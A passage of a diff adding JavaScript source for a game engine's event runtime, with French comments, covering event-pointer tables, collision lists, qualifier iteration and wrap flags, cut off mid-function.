+ case 9: // PARAM_CREATE:
+ case 18: // PARAM_SHOOT:
+ case 16: // PARAM_POSITION:
+ oi = evpPtr.posOINUMParent;
+ if (oi != -1)
+ {
+ evpPtr.posOiList = this.get_OiListOffset(oi, evpPtr.posTypeParent);
+ }
+ break;
+
+ // Poke l'adresse de l'objet dans l'curFrame.m_oiList
+ case 1: // PARAM_OBJECT:
+ evpPtr.oiList = this.get_OiListOffset(evpPtr.oi, evpPtr.type);
+ break;
+
+ // Expression : poke l'adresse de l'curFrame.m_oiList dans les parametres objets
+ case 15: // PARAM_SPEED:
+ case 27: // PARAM_SAMLOOP:
+ case 28: // PARAM_MUSLOOP:
+ case 45: // PARAM_EXPSTRING:
+ case 46: // PARAM_CMPSTRING:
+ case 22: // PARAM_EXPRESSION:
+ case 23: // PARAM_COMPARAISON:
+ case 52: // PARAM_VARGLOBAL_EXP:
+ case 59: // PARAM_STRINGGLOBAL_EXP:
+ case 53: // PARAM_ALTVALUE_EXP:
+ case 62: // PARAM_ALTSTRING_EXP:
+ case 54: // PARAM_FLAG_EXP:
+ var expPtr = evpPtr;
+ for (n = 0; n < expPtr.tokens.length; n++)
+ {
+ // Un objet avec OI?
+ if (CEventProgram.EVTTYPE(expPtr.tokens[n].code) > 0)
+ {
+ var expOi = expPtr.tokens[n];
+ expOi.oiList = this.get_OiListOffset(expOi.oi, CEventProgram.EVTTYPE(expOi.code));
+ }
+ }
+ ;
+ break;
+ }
+ }
+ }
+ }
+
+ // Flags par defaut / Listes de limitation
+ // ---------------------------------------
+ evgF = 0;
+ evgM = CEventGroup.EVGFLAGS_ONCE | CEventGroup.EVGFLAGS_LIMITED | CEventGroup.EVGFLAGS_STOPINGROUP;
+ for (evt = 0; evt < evgPtr.evgNCond + evgPtr.evgNAct; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+
+ type = CEventProgram.EVTTYPE(evtPtr.evtCode);
+ code = evtPtr.evtCode;
+ n = 0;
+ d1 = 0;
+ d2 = 0;
+ evpPtr = null;
+ if (type >= COI.OBJ_SPR)
+ {
+ switch (CEventProgram.getEventCode(code))
+ {
+ case (4 << 16): // ACTL_EXTSTOP:
+ case (9 << 16): // ACTL_EXTBOUNCE:
+
+ evgF |= CEventGroup.EVGFLAGS_STOPINGROUP;
+
+ // Recherche dans le groupe, la cause du STOP. limitList
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ oi = evtPtr.evtOi;
+ if ((oi & COI.OIFLAG_QUALIFIER) != 0)
+ {
+ for (o = this.qual_GetFirstOiList2(evtPtr.evtOiList); o != -1; o = this.qual_GetNextOiList2())
+ {
+ colList = this.make_ColList1(evgPtr, colList, this.rhPtr.rhOiList[o].oilOi);
+ }
+ }
+ else
+ {
+ colList = this.make_ColList1(evgPtr, colList, oi);
+ }
+ break;
+ case (25 << 16): // ACTL_EXTSHUFFLE:
+ evgF |= CEventGroup.EVGFLAGS_SHUFFLE;
+ break;
+ case (-14 << 16): // CNDL_EXTCOLLISION:
+ evpPtr = evtPtr.evtParams[0];
+ var pEvpObject = evtPtr.evtParams[0];
+ this.addColList(evtPtr.evtOiList, evtPtr.evtOi, pEvpObject.oiList, pEvpObject.oi);
+ this.addColList(pEvpObject.oiList, pEvpObject.oi, evtPtr.evtOiList, evtPtr.evtOi);
+ // L'objet 1 est-il un sprite?
+ type1 = CEventProgram.EVTTYPE(evtPtr.evtCode);
+ if (this.isTypeRealSprite(type1))
+ {
+ d2 = CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_ONCOLLIDE;
+ }
+ else
+ {
+ d2 = CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_QUICKEXT | CObjInfo.OILIMITFLAGS_ONCOLLIDE;
+ }
+
+ // L'objet 2 est-il un sprite?
+ type2 = pEvpObject.type;
+ if (this.isTypeRealSprite(type2))
+ {
+ d1 = CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_ONCOLLIDE;
+ }
+ else
+ {
+ d1 = CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_QUICKEXT | CObjInfo.OILIMITFLAGS_ONCOLLIDE;
+ }
+ n = 3;
+ break;
+ case (-4 << 16): // CNDL_EXTISCOLLIDING:
+ // L'objet 1 est-il un sprite?
+ type1 = CEventProgram.EVTTYPE(evtPtr.evtCode);
+ if (this.isTypeRealSprite(type1))
+ {
+ d2 = CObjInfo.OILIMITFLAGS_QUICKCOL;
+ }
+ else
+ {
+ d2 = CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_QUICKEXT;
+ }
+
+ // L'objet 2 est-il un sprite?
+ evpPtr = evtPtr.evtParams[0];
+ type2 = evtPtr.evtParams[0].type;
+ if (this.isTypeRealSprite(type2))
+ {
+ d1 = CObjInfo.OILIMITFLAGS_QUICKCOL;
+ }
+ else
+ {
+ d1 = CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_QUICKEXT;
+ }
+ n = 3;
+ break;
+ case (-11 << 16): // CNDL_EXTINPLAYFIELD:
+ case (-12 << 16): // CNDL_EXTOUTPLAYFIELD:
+ d1 = CObjInfo.OILIMITFLAGS_QUICKBORDER;
+ n = 1;
+ break;
+ case (-13 << 16): // CNDL_EXTCOLBACK:
+ d1 = CObjInfo.OILIMITFLAGS_QUICKBACK;
+ n = 1;
+ break;
+ }
+ }
+ else
+ {
+ switch (code)
+ {
+ case ((-6 << 16) | 65535): // CNDL_ONCE
+ evgM &= ~CEventGroup.EVGFLAGS_ONCE;
+ break;
+ case ((-7 << 16) | 65535): // CNDL_NOTALWAYS:
+ evgM |= CEventGroup.EVGFLAGS_NOMORE;
+ break;
+ case ((-5 << 16) | 65535): // CNDL_REPEAT:
+ evgM |= CEventGroup.EVGFLAGS_NOMORE;
+ break;
+ case ((-4 << 16) | 65535): // CNDL_NOMORE:
+ evgM |= CEventGroup.EVGFLAGS_NOTALWAYS + CEventGroup.EVGFLAGS_REPEAT;
+ break;
+ case ((-4 << 16) | 0xFFFA): // CNDL_MONOBJECT:
+ d2 = CObjInfo.OILIMITFLAGS_QUICKCOL;
+ evpPtr = evtPtr.evtParams[0];
+ n = 2;
+ break;
+ case ((-7 << 16) | 0xFFFA): // CNDL_MCLICKONOBJECT:
+ d2 = CObjInfo.OILIMITFLAGS_QUICKCOL;
+ evpPtr = evtPtr.evtParams[1];
+ n = 2;
+ break;
+ }
+ }
+ // Poke les flags collision
+ if ((n & 1) != 0)
+ {
+ for (o = this.qual_GetFirstOiList(evtPtr.evtOiList); o != -1; o = this.qual_GetNextOiList())
+ {
+ this.rhPtr.rhOiList[o].oilLimitFlags |= d1;
+ }
+ }
+ if ((n & 2) != 0)
+ {
+ for (o = this.qual_GetFirstOiList(evpPtr.oiList); o != -1; o = this.qual_GetNextOiList())
+ {
+ this.rhPtr.rhOiList[o].oilLimitFlags |= d2;
+ }
+ }
+ }
+ // Inhibe les anciens flags
+ evgPtr.evgFlags &= ~evgM;
+ evgPtr.evgFlags |= evgF;
+ }
+ this.colBuffer[colList] = -1;
+
+ // Reserve le buffer des pointeurs sur listes d'events
+ // ---------------------------------------------------
+ var aListPointers = new Array(COI.NUMBEROF_SYSTEMTYPES + oiMax + 1);
+
+ // Rempli cette table avec les offsets en fonction des types
+ ss = 0;
+ var alp;
+ for (alp = 0 , type = -COI.NUMBEROF_SYSTEMTYPES; type < 0; type++, alp++)
+ {
+ aListPointers[alp] = ss;
+ ss += this.nConditions[COI.NUMBEROF_SYSTEMTYPES + type];
+ }
+ // Continue avec les OI, la taille juste pour le type de l'oi
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++, alp++)
+ {
+ aListPointers[alp] = ss;
+ if (this.rhPtr.rhOiList[oil].oilType < COI.KPX_BASE)
+ {
+ ss += this.nConditions[COI.NUMBEROF_SYSTEMTYPES + this.rhPtr.rhOiList[oil].oilType] + CEventProgram.EVENTS_EXTBASE + 1;
+ }
+ else
+ {
+ ss += this.application.extLoader.getNumberOfConditions(this.rhPtr.rhOiList[oil].oilType) + CEventProgram.EVENTS_EXTBASE + 1;
+ }
+ }
+
+ // Reserve le buffer des pointeurs
+ var sListPointers = ss;
+ this.listPointers = new Array(sListPointers);
+ for (n = 0; n < sListPointers; n++)
+ {
+ this.listPointers[n] = 0;
+ }
+ evtAlways = 0;
+
+ // Explore le programme et repere les evenements
+ var wBufNear = new Array(this.rhPtr.rhFrame.maxObjects);
+ var wPtrNear;
+ for (evg = 0; evg < this.nEvents; evg++)
+ {
+ evgPtr = this.events[evg];
+ evgPtr.evgFlags &= ~CEventGroup.EVGFLAGS_ORINGROUP;
+ bOrBefore = true;
+ cndOR = 0;
+ for (evt = 0; evt < evgPtr.evgNCond; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+ type = CEventProgram.EVTTYPE(evtPtr.evtCode);
+ code = evtPtr.evtCode;
+ num = -CEventProgram.EVTNUM(code);
+
+ if (bOrBefore)
+ {
+ // Dans la liste des evenements ALWAYS
+ if ((evtPtr.evtFlags & CEvent.EVFLAGS_ALWAYS) != 0)
+ {
+ evtAlways++;
+ }
+
+ // Dans la liste des evenements generaux si objet systeme
+ if (type < 0)
+ {
+ this.listPointers[aListPointers[7 + type] + num]++;
+ }
+ else
+ // Un objet normal / qualifier : relie aux objets
+ {
+ wPtrNear = 0;
+ for (o = this.qual_GetFirstOiList(evtPtr.evtOiList); o != -1; o = this.qual_GetNextOiList())
+ {
+ this.listPointers[aListPointers[COI.NUMBEROF_SYSTEMTYPES + o] + num]++;
+ wBufNear[wPtrNear++] = o;
+ }
+ wBufNear[wPtrNear] = -1;
+ // Cas special pour les collisions de sprites : branche aux deux sprites (sauf si meme!)
+ if (CEventProgram.getEventCode(code) == (-14 << 16)) // CNDL_EXTCOLLISION
+ {
+ evpPtr = evtPtr.evtParams[0];
+ for (oo = this.qual_GetFirstOiList(evpPtr.oiList); oo != -1; oo = this.qual_GetNextOiList())
+ {
+ for (wPtrNear = 0; wBufNear[wPtrNear] != oo && wBufNear[wPtrNear] != -1;)
+ wPtrNear++;
+ if (wBufNear[wPtrNear] == -1)
+ {
+ this.listPointers[aListPointers[COI.NUMBEROF_SYSTEMTYPES + oo] + num]++;
+ }
+ }
+ }
+ }
+ }
+ bOrBefore = false;
+ if (evtPtr.evtCode == ((-24 << 16) | 65535) || evtPtr.evtCode == ((-25 << 16) | 65535)) // CNDL_OR - CNDL_ORLOGICAL
+ {
+ bOrBefore = true;
+ evgPtr.evgFlags |= CEventGroup.EVGFLAGS_ORINGROUP;
+ // Un seul type de OR dans un groupe
+ if (cndOR == 0)
+ {
+ cndOR = evtPtr.evtCode;
+ }
+ else
+ {
+ evtPtr.evtCode = cndOR;
+ }
+ // Marque les OR Logical
+ if (cndOR == ((-25 << 16) | 65535)) // CNDL_ORLOGICAL)
+ {
+ evgPtr.evgFlags |= CEventGroup.EVGFLAGS_ORLOGICAL;
+ }
+ }
+ }
+ }
+
+ // Calcule les tailles necessaires, poke les pointeurs dans les listes
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ var sEventPointers = evtAlways + 1;
+ var uil;
+ for (uil = 0; uil < sListPointers; uil++)
+ {
+ if (this.listPointers[uil] != 0)
+ {
+ ss = this.listPointers[uil];
+ this.listPointers[uil] = sEventPointers;
+ sEventPointers += ss + 1;
+ }
+ }
+ this.eventPointersGroup = new Array(sEventPointers);
+ this.eventPointersCnd = new Array(sEventPointers);
+ for (n = 0; n < sEventPointers; n++)
+ {
+ this.eventPointersGroup[n] = null;
+ this.eventPointersCnd[n] = 0;
+ }
+
+ var lposBuffer = new Array(sListPointers);
+ for (n = 0; n < sListPointers; n++)
+ {
+ lposBuffer[n] = this.listPointers[n];
+ }
+
+ // 288.2 - fast loops were doubled if there was a frame fade-in transition
+ this.rhPtr.rh4PosOnLoop = null;
+
+ evtAlwaysPos = 0;
+ evtAlways = 0;
+ var lposPtr;
+ this.complexOnLoop = false;
+ for (evg = 0; evg < this.nEvents; evg++)
+ {
+ evgPtr = this.events[evg];
+ bOrBefore = true;
+ for (evt = 0; evt < evgPtr.evgNCond; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+ type = CEventProgram.EVTTYPE(evtPtr.evtCode);
+ code = evtPtr.evtCode;
+ num = -CEventProgram.EVTNUM(code);
+
+ if (bOrBefore)
+ {
+ // Dans la liste des evenements ALWAYS
+ if ((evtPtr.evtFlags & CEvent.EVFLAGS_ALWAYS) != 0)
+ {
+ evtAlways++;
+ this.eventPointersGroup[evtAlwaysPos] = evgPtr;
+ this.eventPointersCnd[evtAlwaysPos] = evt;
+ evtAlwaysPos++;
+ }
+
+ // Dans la liste des evenements generaux si objet systeme
+ if (type < 0)
+ {
+ lposPtr = aListPointers[COI.NUMBEROF_SYSTEMTYPES + type] + num;
+ this.eventPointersGroup[lposBuffer[lposPtr]] = evgPtr;
+ this.eventPointersCnd[lposBuffer[lposPtr]] = evt;
+ lposBuffer[lposPtr]++;
+
+ if (evtPtr.evtCode == CCnd.CND_ONLOOP)
+ {
+ var n;
+ var bOR = false;
+ for (n = 0; n < evgPtr.evgNCond; n++)
+ {
+ if (evgPtr.evgEvents[n].evtCode == CCnd.CND_OR || evgPtr.evgEvents[n].evtCode == CCnd.CND_ORLOGICAL)
+ break;
+ }
+ if (n < evgPtr.evgNCond)
+ bOR = true;
+
+ var expression = evtPtr.evtParams[0];
+ if (expression.tokens[0].code == CExp.EXP_STRING && expression.tokens[1].code == 0)
+ {
+ var pName = expression.tokens[0].string;
+ var fastLoopIndex = this.rhPtr.addFastLoop(pName);
+ for (n = 0; n < posStartLoop.length; n++)
+ {
+ var pPos = posStartLoop[n];
+ if (CServices.compareStringsIgnoreCase(pPos.name, pName))
+ {
+ if (!this.rhPtr.rh4PosOnLoop)
+ this.rhPtr.rh4PosOnLoop = new Array();
+
+ var posOnLoop = null;
+ for (n = 0; n < this.rhPtr.rh4PosOnLoop.length; n++)
+ {
+ if (CServices.compareStringsIgnoreCase(pName, this.rhPtr.rh4PosOnLoop[n].name))
+ {
+ posOnLoop = this.rhPtr.rh4PosOnLoop[n];
+ break;
+ }
+ }
+ if (!posOnLoop)
+ {
+ posOnLoop = new CPosOnLoop(pName, fastLoopIndex);
+ this.rhPtr.rh4PosOnLoop.push(posOnLoop);
+ }
+ posOnLoop.AddOnLoop(evgPtr);
+ posOnLoop.m_bOR |= bOR;
+ pPos.address.fastFastLoop = n + 1;
+ break;
+ }
+ }
+ }
+ else
+ {
+ this.complexOnLoop = true;
+ }
+ }
+
+ }
+ else
+ // Un objet normal : relie a l'objet
+ {
+ wPtrNear = 0;
+ for (o = this.qual_GetFirstOiList(evtPtr.evtOiList); o != -1; o = this.qual_GetNextOiList())
+ {
+ lposPtr = aListPointers[COI.NUMBEROF_SYSTEMTYPES + o] + num;
+ this.eventPointersGroup[lposBuffer[lposPtr]] = evgPtr;
+ this.eventPointersCnd[lposBuffer[lposPtr]] = evt;
+ lposBuffer[lposPtr]++;
+ wBufNear[wPtrNear++] = o;
+ }
+ wBufNear[wPtrNear] = -1;
+ // Cas special pour les collisions de sprites : branche aux deux sprites (sauf si meme!)
+ if (CEventProgram.getEventCode(code) == (-14 << 16)) // CNDL_EXTCOLLISION
+ {
+ evpPtr = evtPtr.evtParams[0];
+ for (oo = this.qual_GetFirstOiList(evpPtr.oiList); oo != -1; oo = this.qual_GetNextOiList())
+ {
+ for (wPtrNear = 0; wBufNear[wPtrNear] != oo && wBufNear[wPtrNear] != -1;)
+ wPtrNear++;
+ if (wBufNear[wPtrNear] == -1)
+ {
+ lposPtr = aListPointers[COI.NUMBEROF_SYSTEMTYPES + oo] + num;
+ this.eventPointersGroup[lposBuffer[lposPtr]] = evgPtr;
+ this.eventPointersCnd[lposBuffer[lposPtr]] = evt;
+ lposBuffer[lposPtr]++;
+ }
+ }
+ }
+ }
+ }
+ bOrBefore = false;
+ if (evtPtr.evtCode == ((-24 << 16) | 65535) || evtPtr.evtCode == ((-25 << 16) | 65535)) // CNDL_OR - CNDL_ORLOGICAL
+ {
+ bOrBefore = true;
+ }
+ }
+ }
+ ;
+
+ // Adresse des conditions timer
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ uil = aListPointers[COI.NUMBEROF_SYSTEMTYPES + COI.OBJ_TIMER];
+ aTimers = this.listPointers[uil - CEventProgram.EVTNUM(((-3 << 16) | 0xFFFC))]; // CNDL_TIMER
+
+ // Poke les adresses et les autres flags des pointeurs dans tous OI
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ this.limitBuffer = new Array(oiMax + 1 + colList / 2);
+ var limitListStart = 0;
+ var limitPos, limitCur;
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ oilPtr = this.rhPtr.rhOiList[oil];
+
+ // Poke l'offset dans les events
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ uil = aListPointers[COI.NUMBEROF_SYSTEMTYPES + oil];
+ oilPtr.oilEvents = uil;
+
+ // Traitement des flags particuliers
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ var act;
+ if ((oilPtr.oilOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0)
+ {
+ // Recherche les flags WRAP dans les messages OUT OF PLAYFIELD
+ fWrap = 0;
+ ss = this.listPointers[uil - CEventProgram.EVTNUM(-12 << 16)]; // CNDL_EXTOUTPLAYFIELD
+ if (ss != 0)
+ {
+ while (this.eventPointersGroup[ss] != null)
+ {
+ evgPtr = this.eventPointersGroup[ss];
+ evtPtr = evgPtr.evgEvents[this.eventPointersCnd[ss]];
+ d = evtPtr.evtParams[0].value; // Prend la direction
+ for (act = CEventProgram.evg_FindAction(evgPtr, 0), n = evgPtr.evgNAct; n > 0; n--, act++)
+ {
+ evtPtr = evgPtr.evgEvents[act];
+ if (evtPtr.evtCode == ((8 << 16) | (oilPtr.oilType & 0xFFFF))) // ACT_EXTWRAP
+ {
+ fWrap |= d;
+ }
+ }
+ ss++;
+ }
+ }
+ oilPtr.oilWrap = fWrap;
+
+ // Fabrique la table de limitations des mouvements
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ oi1 = oilPtr.oilOi;
+ for (colList = 0 , limitPos = 0; this.colBuffer[colList] != -1; colList += 2)
+ {
+ if (this.colBuffer[colList] == oi1)
+ {
+ oi2 = this.colBuffer[colList + 1];
+ if ((oi2 & 0x8000) != 0)
+ {
+ oilPtr.oilLimitFlags |= oi2;
+ continue;
+ }
+ for (limitCur = 0; limitCur < limitPos && this.limitBuffer[limitListStart + limitCur] != oi2;)
+ limitCur++;
+ if (limitCur == limitPos)
+ {
+ this.limitBuffer[limitListStart + limitPos++] = oi2;
+ }
+ }
+ }
+ // Marque la fin...
+ if (limitPos > 0)
+ {
+ oilPtr.oilLimitList = limitListStart;
+ this.limitBuffer[limitListStart + limitPos++] = -1;
+ limitListStart += limitPos;
+ }
+ }
+ }
+
+ // Met les adresses des tables de pointeur systeme
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ this.rhEvents[0] = 0;
+ for (n = 1; n <= COI.NUMBEROF_SYSTEMTYPES; n++)
+ {
+ this.rhEvents[n] = aListPointers[COI.NUMBEROF_SYSTEMTYPES - n];
+ }
+
+ // Poke les adresses et les autres flags des pointeurs dans tous les objets definis
+ // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ oilPtr = this.rhPtr.rhOiList[oil];
+
+ // Explore tous les objets de meme OI dans le programme
+ o = oilPtr.oilObject;
+ if ((o & 0x80000000) == 0)
+ {
+ do
+ {
+ // Met les oi dans les ro
+ hoPtr = this.rhPtr.rhObjectList[o];
+ hoPtr.hoEvents = oilPtr.oilEvents;
+ hoPtr.hoOiList = oilPtr;
+ hoPtr.hoLimitFlags = oilPtr.oilLimitFlags;
+ // Flags Wrap pour les objets avec movement
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0)
+ {
+ hoPtr.rom.rmWrapping = oilPtr.oilWrap;
+ }
+ // Si le sprite n'est pas implique dans les collisions . le passe en neutre
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_SPRITES) != 0 && (hoPtr.hoLimitFlags & (CObjInfo.OILIMITFLAGS_QUICKCOL)) == 0)
+ {
+ hoPtr.ros.setColFlag(false);
+ }
+ // Sprite en mode inbitate?
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_MANUALSLEEP) == 0)
+ {
+ // On detruit... sauf si...
+ hoPtr.hoOEFlags &= ~CObjectCommon.OEFLAG_NEVERSLEEP;
+
+ // On teste des collisions avec le decor?
+ if ((hoPtr.hoLimitFlags & CObjInfo.OILIMITFLAGS_QUICKBACK) != 0)
+ {
+ // Si masque des collisions general
+ if ((this.rhPtr.rhFrame.leFlags & CRunFrame.LEF_TOTALCOLMASK) != 0)
+ {
+ hoPtr.hoOEFlags |= CObjectCommon.OEFLAG_NEVERSLEEP;
+ }
+ }
+ // Ou test des collisions normal
+ if ((hoPtr.hoLimitFlags & (CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_QUICKBORDER)) != 0)
+ {
+ hoPtr.hoOEFlags |= CObjectCommon.OEFLAG_NEVERSLEEP;
+ }
+ }
+ o = hoPtr.hoNumNext;
+ } while ((o & 0x80000000) == 0);
+ }
+ }
+ // Les messages speciaux
+ // ~~~~~~~~~~~~~~~~~~~~~
+ if (evtAlways != 0)
+ {
+ this.rhEventAlways = true;
+ }
+ else
+ {
+ this.rhEventAlways = false;
+ }
+ // Messages Timer (a bulle!)
+ if (aTimers != 0)
+ {
+ this.rh4TimerEventsBase = aTimers;
+ }
+ else
+ {
+ this.rh4TimerEventsBase = 0;
+ }
+
+ // Liberation
+ this.colBuffer = null;
+ this.bReady = true;
+
+ },
+
+ unBranchPrograms: function ()
+ {
+ this.bReady = false;
+ this.qualToOiList = null;
+ this.limitBuffer = null;
+ this.listPointers = null;
+ this.eventPointersGroup = null;
+ this.eventPointersCnd = null;
+ },
+
+ get_OiListOffset: function (oi, type)
+ {
+ if ((oi & COI.OIFLAG_QUALIFIER) != 0)
+ {
+ var q;
+ for (q = 0; oi != this.qualifiers[q].qOi || type != this.qualifiers[q].qType;)
+ q++;
+ return (q | 0x8000);
+ }
+ else
+ {
+ var n;
+ for (n = 0; n < this.rhPtr.rhMaxOI && this.rhPtr.rhOiList[n].oilOi != oi;)
+ n++;
+ return n;
+ }
+ },
+
+ isTypeRealSprite: function (type)
+ {
+ var oil;
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ if (this.rhPtr.rhOiList[oil].oilOi != -1)
+ {
+ if (this.rhPtr.rhOiList[oil].oilType == type)
+ {
+ if ((this.rhPtr.rhOiList[oil].oilOEFlags & CObjectCommon.OEFLAG_SPRITES) != 0 && (this.rhPtr.rhOiList[oil].oilOEFlags & CObjectCommon.OEFLAG_QUICKDISPLAY) == 0)
+ {
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+ }
+ }
+ }
+ return true;
+ },
+
+ qual_GetFirstOiList: function (o)
+ {
+ if ((o & 0x8000) == 0)
+ {
+ this.qualOilPtr = -1;
+ return (o);
+ }
+ if (o == -1)
+ {
+ return -1;
+ }
+
+ o &= 0x7FFF;
+ this.qualOilPtr = o;
+ this.qualOilPos = 0;
+ return this.qual_GetNextOiList();
+ },
+
+ qual_GetNextOiList: function ()
+ {
+ var o;
+
+ if (this.qualOilPtr == -1)
+ {
+ return -1;
+ }
+ if (this.qualOilPos >= this.qualToOiList[this.qualOilPtr].qoiList.length)
+ {
+ return -1;
+ }
+ o = this.qualToOiList[this.qualOilPtr].qoiList[this.qualOilPos + 1];
+ this.qualOilPos += 2;
+ return (o);
+ },
+
+ qual_GetFirstOiList2: function (o)
+ {
+ if ((o & 0x8000) == 0)
+ {
+ this.qualOilPtr2 = -1;
+ return (o);
+ }
+ if (o == -1)
+ {
+ return -1;
+ }
+
+ o &= 0x7FFF;
+ this.qualOilPtr2 = o;
+ this.qualOilPos2 = 0;
+ return this.qual_GetNextOiList2();
+ },
+
+ qual_GetNextOiList2: function ()
+ {
+ var o;
+
+ if (this.qualOilPtr2 == -1)
+ {
+ return -1;
+ }
+ if (this.qualOilPos2 >= this.qualToOiList[this.qualOilPtr2].qoiList.length)
+ {
+ return -1;
+ }
+ o = this.qualToOiList[this.qualOilPtr2].qoiList[this.qualOilPos2 + 1];
+ this.qualOilPos2 += 2;
+ return (o);
+ },
+
+ addColList: function (oiList, oiNum, oiList2, oiNum2)
+ {
+ var qoil;
+ var pOinOil;
+ if (oiNum < 0)
+ {
+ if (this.qualToOiList != null)
+ {
+ qoil = this.qualToOiList[oiList & 0x7FFF];
+ pOinOil = 0;
+ while (pOinOil < qoil.qoiList.length)
+ {
+ this.addColList(qoil.qoiList[pOinOil + 1], qoil.qoiList[pOinOil], oiList2, oiNum2);
+ pOinOil += 2;
+ }
+ }
+ return;
+ }
+
+ if (oiNum2 < 0)
+ {
+ if (this.qualToOiList != null)
+ {
+ qoil = this.qualToOiList[oiList2 & 0x7FFF];
+ pOinOil = 0;
+ while (pOinOil < qoil.qoiList.length)
+ {
+ this.addColList(oiList, oiNum, qoil.qoiList[pOinOil + 1], qoil.qoiList[pOinOil]);
+ pOinOil += 2;
+ }
+ }
+ return;
+ }
+
+ var colList;
+ var oilPtr = this.rhPtr.rhOiList[oiList];
+ if (oilPtr.oilColList == null)
+ {
+ oilPtr.oilColList = new Array();
+ colList = oilPtr.oilColList;
+ }
+ else
+ {
+ colList = oilPtr.oilColList;
+
+ var n;
+ for (n = 0; n < colList.length; n += 2)
+ {
+ if (oiNum2 == colList[n])
+ {
+ return;
+ }
+ }
+ }
+ colList.push(oiNum2);
+ colList.push(oiList2);
+ },
+
+ make_ColList1: function (evgPtr, colList, oi1)
+ {
+ var oi2;
+ var flag;
+ var code;
+ var o;
+ var evtPtr;
+ var evpPtr;
+ var evt;
+
+ for (evt = 0; evt < evgPtr.evgNCond; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+ if (CEventProgram.EVTTYPE(evtPtr.evtCode) >= 2)
+ {
+ flag = (0x8000 + CObjInfo.OILIMITFLAGS_BACKDROPS);
+ code = CEventProgram.getEventCode(evtPtr.evtCode);
+ switch (code)
+ {
+ case (-14 << 16):
+ evpPtr = evtPtr.evtParams[0];
+ for (o = this.qual_GetFirstOiList(evtPtr.evtOiList); o != -1; o = this.qual_GetNextOiList())
+ {
+ oi2 = this.rhPtr.rhOiList[o].oilOi;
+ if (oi1 == oi2)
+ {
+ flag = 0;
+ colList = this.make_ColList2(colList, oi1, evpPtr.oiList);
+ }
+ }
+ if (flag == 0)
+ {
+ break;
+ }
+ for (o = this.qual_GetFirstOiList(evpPtr.oiList); o != -1; o = this.qual_GetNextOiList())
+ {
+ oi2 = this.rhPtr.rhOiList[o].oilOi;
+ if (oi1 == oi2)
+ {
+ colList = this.make_ColList2(colList, oi1, evtPtr.evtOiList);
+ }
+ }
+ break;
+ case (-12 << 16):
+ evpPtr = evtPtr.evtParams[0];
+ flag = (0x8000 + evpPtr.value);
+ case (-13 << 16):
+ for (o = this.qual_GetFirstOiList(evtPtr.evtOiList); o != -1; o = this.qual_GetNextOiList())
+ {
+ oi2 = this.rhPtr.rhOiList[o].oilOi;
+ if (oi1 == oi2)
+ {
+ this.colBuffer[colList++] = oi1;
+ this.colBuffer[colList++] = flag;
+ }
+ }
+ break;
+ }
+ }
+ }
+ return (colList);
+ },
+
+ make_ColList2: function (colList, oi1, ol)
+ {
+ var oi2;
+ var o;
+ for (o = this.qual_GetFirstOiList(ol); o != -1; o = this.qual_GetNextOiList())
+ {
+ oi2 = this.rhPtr.rhOiList[o].oilOi;
+
+ var pos;
+ for (pos = 0; pos < colList; pos += 2)
+ {
+ if (this.colBuffer[pos] == oi1 && this.colBuffer[pos + 1] == oi2)
+ {
+ break;
+ }
+ }
+ if (pos == colList)
+ {
+ this.colBuffer[colList++] = oi1;
+ this.colBuffer[colList++] = oi2;
+ }
+ }
+ return colList;
+ },
+
+ getCollisionFlags: function ()
+ {
+ var evgPtr;
+ var evtPtr;
+ var evpPtr;
+ var evg, evt, evp;
+ var flag;
+ for (evg = 0; evg < this.events.length; evg++)
+ {
+ evgPtr = this.events[evg];
+
+ for (evt = 0; evt < evgPtr.evgNAct + evgPtr.evgNCond; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+
+ if (evtPtr.evtNParams > 0)
+ {
+ for (evp = 0; evp < evtPtr.evtNParams; evp++)
+ {
+ evpPtr = evtPtr.evtParams[evp];
+ if (evpPtr.code == 43)
+ {
+ var p = evpPtr;
+ switch (p.value)
+ {
+ case 1:
+ flag |= CColMask.CM_OBSTACLE;
+ break;
+ case 2:
+ flag |= CColMask.CM_PLATFORM;
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+ return flag;
+ },
+
+ enumSounds: function (sounds)
+ {
+ var evgPtr;
+ var evtPtr;
+ var evg, evt, p;
+ var pSample;
+
